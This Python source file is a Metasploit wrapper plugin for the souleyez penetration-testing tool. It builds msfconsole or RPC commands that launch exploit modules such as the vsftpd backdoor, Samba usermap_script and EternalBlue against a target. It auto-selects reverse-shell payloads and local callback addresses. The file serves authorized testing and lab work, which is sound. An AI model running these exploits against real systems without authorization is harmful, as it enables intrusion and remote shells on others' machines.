#!/usr/bin/env python3
"""
souleyez.plugins.msf_exploit - Metasploit Framework exploit module wrapper

Supports two execution modes:
1. RPC Mode (Pro only): Uses msfrpcd for persistent sessions
2. Console Mode: Uses msfconsole subprocess (sessions die on job completion)
"""

import logging
import re
import socket
import subprocess
import time
from typing import Any, Dict, List, Optional

from .plugin_base import PluginBase

logger = logging.getLogger(__name__)

HELP = {
    "name": "MSF Exploit (Metasploit)",
    "description": (
        "Run Metasploit Framework exploit modules non-interactively.\n\n"
        "This tool executes MSF exploit modules against targets to verify vulnerabilities "
        "and (in CTF/lab environments) gain access. Results are logged for review.\n\n"
        "Quick tips:\n"
        "- Exploits run with a 120-second timeout by default\n"
        "- Reverse shell payloads require LHOST to be set\n"
        "- Use bind payloads when reverse connections aren't possible\n"
        "- Sessions are not maintained - output is captured to log\n\n"
        "Common payloads:\n"
        "- cmd/unix/reverse_netcat - Unix reverse shell (default for unix/multi)\n"
        "- windows/shell_reverse_tcp - Windows reverse shell (default for windows)\n"
        "- cmd/unix/bind_netcat - Unix bind shell\n"
        "- windows/meterpreter/reverse_tcp - Meterpreter (if needed)\n"
    ),
    "usage": 'souleyez jobs enqueue msf_exploit <target> --args "<exploit_path> [OPTIONS]"',
    "examples": [
        'souleyez jobs enqueue msf_exploit 10.0.0.82 --args "exploit/unix/ftp/vsftpd_234_backdoor"',
        'souleyez jobs enqueue msf_exploit 10.0.0.82 --args "exploit/multi/samba/usermap_script LHOST=10.0.0.1"',
        'souleyez jobs enqueue msf_exploit 10.0.0.82 --args "exploit/windows/smb/ms17_010_eternalblue LHOST=10.0.0.1"',
    ],
    "common_options": {
        "RHOSTS": "Target host(s) - set automatically from target",
        "RPORT": "Target port (default varies by exploit)",
        "LHOST": "Local host for reverse connections",
        "LPORT": "Local port for reverse connections (default: 4444)",
        "PAYLOAD": "Payload to use (default: auto-selected)",
    },
    "notes": [
        "Requires Metasploit Framework installed (msfconsole)",
        "Runs exploits non-interactively with timeout",
        "Pro: Sessions persist via msfrpcd - interact with them later",
        "Free: Sessions end when job completes (verification only)",
        "Use responsibly - only on authorized targets",
    ],
    "presets": [],
    "help_sections": [
        {
            "title": "What is MSF Exploit?",
            "color": "cyan",
            "content": [
                {
                    "title": "Overview",
                    "desc": "MSF Exploit runs Metasploit Framework exploit modules non-interactively to verify vulnerabilities and gain access in authorized testing scenarios.",
                },
                {
                    "title": "Use Cases",
                    "desc": "Vulnerability verification and exploitation",
                    "tips": [
                        "Verify detected vulnerabilities are exploitable",
                        "Gain initial access in CTF/lab environments",
                        "Test exploit chains from auto-chaining rules",
                        "Document successful exploits for reporting",
                    ],
                },
            ],
        },
        {
            "title": "How to Use",
            "color": "green",
            "content": [
                {
                    "title": "Basic Workflow",
                    "desc": "1. Identify vulnerable service from scan\\n     2. Select appropriate exploit module\\n     3. Configure LHOST for reverse payloads\\n     4. Run and capture results",
                },
                {
                    "title": "Payload Types",
                    "desc": "Choose payload based on target",
                    "tips": [
                        "Reverse: Target connects back to you (needs LHOST)",
                        "Bind: Opens port on target (you connect to it)",
                        "Use bind when firewalls block reverse connections",
                        "Default payloads are usually sufficient",
                    ],
                },
            ],
        },
    ],
}

# Exploits that don't need LHOST/PAYLOAD configuration
# These either have built-in backdoors (bind shell) or use command execution
NO_PAYLOAD_EXPLOITS = [
    "vsftpd_234_backdoor",  # Bind shell backdoor on port 6200
    "usermap_script",  # Samba command execution
    "distcc_exec",  # Direct command execution
    "ingreslock",  # Bind shell backdoor
    "irc_3281_backdoor",  # UnrealIRCd bind shell backdoor
]


def _exploit_needs_payload(exploit_path: str) -> bool:
    """Check if an exploit needs LHOST/PAYLOAD configuration.

    Some exploits (like vsftpd_234_backdoor) have built-in bind shells
    or use direct command execution, so they don't need reverse payloads.

    Args:
        exploit_path: The Metasploit exploit module path

    Returns:
        True if the exploit needs LHOST/PAYLOAD, False otherwise
    """
    return not any(exp in exploit_path for exp in NO_PAYLOAD_EXPLOITS)


class MsfExploitPlugin(PluginBase):
    name = "Metasploit Exploit"
    tool = "msf_exploit"
    category = "internal"  # Job-queue only - not shown in main menu
    HELP = HELP

    def __init__(self):
        self._rpc_manager = None

    def _get_rpc_manager(self):
        """Lazy-load RPC manager to avoid circular imports."""
        if self._rpc_manager is None:
            try:
                from souleyez.core.msf_rpc_manager import MSFRPCManager

                self._rpc_manager = MSFRPCManager.get_instance()
            except Exception:
                self._rpc_manager = None
        return self._rpc_manager

    def _use_rpc_mode(self) -> bool:
        """
        Check if RPC mode should be used.

        RPC mode requires:
        1. Pro license
        2. msfrpc.enabled = True in config
        3. msfrpcd is running and accessible
        """
        try:
            from souleyez import config
            from souleyez.core.msf_rpc_manager import is_pro_enabled

            # Must have Pro license
            if not is_pro_enabled():
                return False

            # Must be enabled in config
            if not config.get("msfrpc.enabled", False):
                return False

            # Must be able to connect
            manager = self._get_rpc_manager()
            if manager and manager.is_available():
                return True

            # Check fallback setting
            if not config.get("msfrpc.fallback_to_console", True):
                logger.warning("msfrpcd unavailable and fallback disabled")

            return False

        except Exception as e:
            logger.debug(f"RPC mode check failed: {e}")
            return False

    def _parse_exploit_options(
        self, target: str, extra_opts: List[str], exploit_path: str
    ) -> Dict[str, Any]:
        """Parse exploit options into RPC format."""
        options = {"RHOSTS": target}

        # Check what's already provided
        has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
        has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)

        # Check if this exploit needs payload/LHOST (bind shell exploits don't)
        needs_payload = _exploit_needs_payload(exploit_path)

        # Auto-detect LHOST if not provided AND exploit needs it
        if not has_lhost and needs_payload:
            local_ip = self._get_local_ip(target)
            if local_ip:
                options["LHOST"] = local_ip

        # Parse extra options
        for opt in extra_opts:
            if "=" in opt:
                key, value = opt.split("=", 1)
                options[key.upper()] = value

        return options, has_payload, needs_payload

    def _get_default_payload(self, exploit_path: str) -> str:
        """Get default payload based on exploit path."""
        exploit_lower = exploit_path.lower()
        if "windows" in exploit_lower:
            return "windows/shell_reverse_tcp"
        elif "unix" in exploit_lower or "linux" in exploit_lower:
            return "cmd/unix/reverse_netcat"
        elif "multi" in exploit_lower:
            # Multi exploits are usually Unix-based (samba, etc.)
            return "cmd/unix/reverse_netcat"
        return "cmd/unix/reverse_netcat"

    def run_rpc_exploit(
        self,
        exploit_path: str,
        target: str,
        options: Dict[str, Any],
        log_path: Optional[str] = None,
        payload: Optional[str] = None,
    ) -> Dict[str, Any]:
        """
        Execute exploit via RPC and poll for session.

        Args:
            exploit_path: MSF exploit module path
            target: Target IP/hostname
            options: Exploit options dict
            log_path: Optional log file path
            payload: Optional payload override

        Returns:
            Dict with keys: success, session_id, session_info, error
        """
        from souleyez import config

        manager = self._get_rpc_manager()
        if not manager:
            return {"success": False, "error": "RPC manager not available"}

        client = manager.get_client()
        if not client:
            return {"success": False, "error": "Could not connect to msfrpcd"}

        poll_interval = config.get("msfrpc.poll_interval", 2)
        max_poll = config.get("msfrpc.max_poll_time", 300)

        # Log start
        if log_path:
            with open(log_path, "a", encoding="utf-8", errors="replace") as f:
                f.write(f"\n=== RPC Exploit Execution ===\n")
                f.write(f"Mode: msfrpcd (persistent sessions)\n")
                f.write(f"Exploit: {exploit_path}\n")
                f.write(f"Target: {target}\n")
                f.write(f"Options: {options}\n")
                if payload:
                    f.write(f"Payload: {payload}\n")
                f.write(
                    f"Started: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n\n"
                )

        # Get baseline session count
        try:
            initial_sessions = set(client.list_sessions().keys())
            if log_path:
                with open(log_path, "a") as f:
                    f.write(f"[*] Current sessions: {len(initial_sessions)}\n")
        except Exception as e:
            return {"success": False, "error": f"Failed to list sessions: {e}"}

        # Set payload in options if provided
        if payload:
            options["PAYLOAD"] = payload

        # Execute exploit via RPC
        try:
            if log_path:
                with open(log_path, "a") as f:
                    f.write(f"[*] Submitting exploit to msfrpcd...\n")

            result = client.execute_module("exploit", exploit_path, options)

            if isinstance(result, dict) and "error" in result:
                error_msg = result.get(
                    "error_message", result.get("error", "Unknown error")
                )
                if log_path:
                    with open(log_path, "a") as f:
                        f.write(f"[-] Exploit submission failed: {error_msg}\n")
                return {"success": False, "error": error_msg}

            job_id = result.get("job_id")
            if log_path:
                with open(log_path, "a") as f:
                    f.write(f"[*] Exploit submitted as MSF job {job_id}\n")
                    f.write(f"[*] Polling for session (max {max_poll}s)...\n")

        except Exception as e:
            if log_path:
                with open(log_path, "a") as f:
                    f.write(f"[-] Execute failed: {e}\n")
            return {"success": False, "error": f"Execute failed: {e}"}

        # Poll for new session
        start_time = time.time()
        while time.time() - start_time < max_poll:
            time.sleep(poll_interval)

            try:
                current_sessions = set(client.list_sessions().keys())
                new_sessions = current_sessions - initial_sessions

                if new_sessions:
                    session_id = list(new_sessions)[0]
                    session_info = client.get_session_info(int(session_id))

                    if log_path:
                        with open(log_path, "a") as f:
                            f.write(f"\n[+] Session {session_id} opened!\n")
                            f.write(
                                f"    Type: {session_info.get('type', 'unknown')}\n"
                            )
                            f.write(
                                f"    Platform: {session_info.get('platform', 'unknown')}\n"
                            )
                            f.write(
                                f"    Via: {session_info.get('via_exploit', exploit_path)}\n"
                            )
                            f.write(
                                f"    Tunnel: {session_info.get('tunnel_peer', 'N/A')}\n"
                            )
                            f.write(
                                f"\n[*] Session is persistent - interact via MSF Sessions menu\n"
                            )
                            f.write(
                                f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
                            )

                    return {
                        "success": True,
                        "session_id": session_id,
                        "session_info": session_info,
                        "exploit_path": exploit_path,
                    }

            except Exception as e:
                if log_path:
                    with open(log_path, "a") as f:
                        f.write(f"[!] Poll error: {e}\n")

        # Timeout - no session opened (not an error, just means target likely not vulnerable)
        if log_path:
            with open(log_path, "a") as f:
                f.write(f"\n[*] No session opened after {max_poll}s\n")
                f.write(
                    f"[*] Target may not be vulnerable or exploit conditions not met\n"
                )
                f.write(f"[*] Try re-running the exploit if needed\n")
                f.write(
                    f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
                )

        # Return success=False but no 'error' key - this is a "no results" case, not an error
        return {
            "success": False,
            "no_session": True,
            "reason": f"No session after {max_poll}s",
        }

    def _get_local_ip(self, target: str) -> str:
        """Get local IP that can reach the target."""
        try:
            # Create a socket to determine which interface routes to target
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.settimeout(2)
            s.connect((target, 80))
            local_ip = s.getsockname()[0]
            s.close()
            return local_ip
        except Exception:
            # Fallback: try common local IPs
            try:
                result = subprocess.run(
                    ["ip", "route", "get", target],
                    capture_output=True,
                    text=True,
                    timeout=5,
                )
                if result.returncode == 0:
                    import re

                    match = re.search(r"src\s+(\d+\.\d+\.\d+\.\d+)", result.stdout)
                    if match:
                        return match.group(1)
            except Exception:
                pass
            return None

    def build_command(
        self, target: str, args: List[str] = None, label: str = "", log_path: str = None
    ):
        """
        Build command for background execution.

        Returns either:
        - RPC mode spec: {'mode': 'rpc', 'exploit_path': ..., 'options': ..., ...}
        - Console mode spec: {'cmd': [...], 'timeout': ...}
        """
        args = args or []

        # First arg should be the exploit path
        if not args:
            return None

        exploit_path = args[0]
        extra_opts = args[1:] if len(args) > 1 else []

        # Check if RPC mode should be used (Pro feature)
        if self._use_rpc_mode():
            options, has_payload, needs_payload = self._parse_exploit_options(
                target, extra_opts, exploit_path
            )
            # Only set payload if: exploit needs it AND user didn't provide one
            payload = None
            if needs_payload and not has_payload:
                payload = self._get_default_payload(exploit_path)

            return {
                "mode": "rpc",
                "exploit_path": exploit_path,
                "target": target,
                "options": options,
                "payload": payload,
                "log_path": log_path,
                "timeout": 300,  # Max poll time
            }

        # Console mode (Free users or RPC unavailable)
        return self._build_console_command(target, exploit_path, extra_opts, log_path)

    def _build_console_command(
        self,
        target: str,
        exploit_path: str,
        extra_opts: List[str],
        log_path: str = None,
    ) -> Dict[str, Any]:
        """Build msfconsole command spec for console mode."""
        # Parse extra options to check for LHOST/PAYLOAD
        has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
        has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)

        # Check if this exploit needs LHOST/PAYLOAD
        # Some exploits (vsftpd backdoor, usermap_script) have built-in
        # bind shells or use command execution - they don't need payloads
        needs_payload = _exploit_needs_payload(exploit_path)

        # Build msfconsole command
        msf_commands = [
            f"use {exploit_path}",
            f"set RHOSTS {target}",
        ]

        # Auto-detect LHOST if not provided and needed for reverse payloads
        if needs_payload and not has_lhost:
            local_ip = self._get_local_ip(target)
            if local_ip:
                msf_commands.append(f"set LHOST {local_ip}")

        # Add any extra options
        for opt in extra_opts:
            if "=" in opt:
                key, value = opt.split("=", 1)
                msf_commands.append(f"set {key} {value}")
            else:
                msf_commands.append(opt)

        # Set default payload if not provided (only for exploits that need it)
        if needs_payload and not has_payload:
            default_payload = self._get_default_payload(exploit_path)
            msf_commands.append(f"set PAYLOAD {default_payload}")

        # Run the exploit
        msf_commands.append("exploit -z")  # -z: don't interact with session
        msf_commands.append("exit -y")

        command_string = "; ".join(msf_commands)

        cmd = ["msfconsole", "-q", "-n", "-x", command_string]

        return {"cmd": cmd, "timeout": 300}  # 5 minutes for exploits

    def run(
        self, target: str, args: List[str] = None, label: str = "", log_path: str = None
    ) -> int:
        """Execute MSF exploit module non-interactively."""
        args = args or []

        # First arg should be the exploit path
        if not args:
            if log_path:
                with open(log_path, "w") as f:
                    f.write(
                        "ERROR: No exploit specified. Example: exploit/unix/ftp/vsftpd_234_backdoor\n"
                    )
            return 1

        exploit_path = args[0]
        extra_opts = args[1:] if len(args) > 1 else []

        if log_path:
            return self._run_with_logpath(exploit_path, target, extra_opts, log_path)

        return self._run_legacy(exploit_path, target, extra_opts)

    def _run_with_logpath(
        self, exploit_path: str, target: str, extra_opts: List[str], log_path: str
    ) -> int:
        """Run MSF exploit and write output to log_path."""
        try:
            # Parse extra options
            has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
            has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)

            # Check if this exploit needs LHOST/PAYLOAD
            needs_payload = _exploit_needs_payload(exploit_path)

            # Build msfconsole command
            msf_commands = [
                f"use {exploit_path}",
                f"set RHOSTS {target}",
            ]

            # Auto-detect LHOST if not provided (only for exploits that need it)
            local_ip = None
            if needs_payload and not has_lhost:
                local_ip = self._get_local_ip(target)
                if local_ip:
                    msf_commands.append(f"set LHOST {local_ip}")

            # Add extra options
            for opt in extra_opts:
                if "=" in opt:
                    key, value = opt.split("=", 1)
                    msf_commands.append(f"set {key} {value}")
                else:
                    msf_commands.append(opt)

            # Set default payload if not provided (only for exploits that need it)
            if needs_payload and not has_payload:
                default_payload = self._get_default_payload(exploit_path)
                msf_commands.append(f"set PAYLOAD {default_payload}")

            # Run exploit
            msf_commands.append("exploit -z")
            msf_commands.append("exit -y")

            command_string = "; ".join(msf_commands)

            cmd = ["msfconsole", "-q", "-n", "-x", command_string]

            with open(log_path, "w", encoding="utf-8", errors="replace") as fh:
                fh.write("=== Metasploit Exploit Module ===\n")
                fh.write(f"Exploit: {exploit_path}\n")
                fh.write(f"Target: {target}\n")
                if local_ip:
                    fh.write(f"LHOST (auto): {local_ip}\n")
                fh.write(
                    f"Options: {', '.join(extra_opts) if extra_opts else 'None'}\n"
                )
                fh.write(
                    f"Started: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n\n"
                )
                fh.write(f"Command: {' '.join(cmd)}\n\n")
                fh.flush()

                # Run msfconsole
                proc = subprocess.run(
                    cmd,
                    stdout=fh,
                    stderr=subprocess.STDOUT,
                    timeout=300,  # 5 minutes for exploits
                    check=False,
                )

                fh.write(
                    f"\n\nCompleted: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
                )
                fh.write(f"Exit Code: {proc.returncode}\n")

                return proc.returncode

        except subprocess.TimeoutExpired:
            # Check if a session was opened before timeout
            # This is success - MSF keeps sessions alive which causes timeout
            import re

            try:
                with open(log_path, "r", encoding="utf-8", errors="replace") as fh:
                    content = fh.read()
                session_opened = bool(
                    re.search(r"session \d+ opened", content, re.IGNORECASE)
                )
            except Exception:
                session_opened = False

            with open(log_path, "a", encoding="utf-8", errors="replace") as fh:
                if session_opened:
                    fh.write(
                        "\n[*] Session opened successfully (timeout expected - session is active)\n"
                    )
                    fh.write(
                        f"Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
                    )
                else:
                    fh.write("\nERROR: Exploit timed out after 300 seconds\n")

            return 0 if session_opened else 124

        except FileNotFoundError:
            with open(log_path, "a", encoding="utf-8", errors="replace") as fh:
                fh.write("\nERROR: msfconsole not found in PATH\n")
                fh.write("Please install Metasploit Framework\n")
            return 127

        except Exception as e:
            with open(log_path, "a", encoding="utf-8", errors="replace") as fh:
                fh.write(f"\nERROR: {type(e).__name__}: {e}\n")
            return 1

    def _run_legacy(self, exploit_path: str, target: str, extra_opts: List[str]):
        """Legacy execution without log_path."""
        msf_commands = [
            f"use {exploit_path}",
            f"set RHOSTS {target}",
        ]

        # Try to auto-detect LHOST
        has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
        has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)

        # Check if this exploit needs LHOST/PAYLOAD
        needs_payload = _exploit_needs_payload(exploit_path)

        if needs_payload and not has_lhost:
            local_ip = self._get_local_ip(target)
            if local_ip:
                msf_commands.append(f"set LHOST {local_ip}")

        for opt in extra_opts:
            if "=" in opt:
                key, value = opt.split("=", 1)
                msf_commands.append(f"set {key} {value}")
            else:
                msf_commands.append(opt)

        # Set default payload if not provided (only for exploits that need it)
        if needs_payload and not has_payload:
            default_payload = self._get_default_payload(exploit_path)
            msf_commands.append(f"set PAYLOAD {default_payload}")

        msf_commands.append("exploit -z")
        msf_commands.append("exit -y")

        command_string = "; ".join(msf_commands)

        cmd = ["msfconsole", "-q", "-n", "-x", command_string]

        try:
            proc = subprocess.run(cmd, capture_output=True, timeout=300, check=False)
            return proc.returncode
        except Exception:
            return 1


plugin = MsfExploitPlugin()
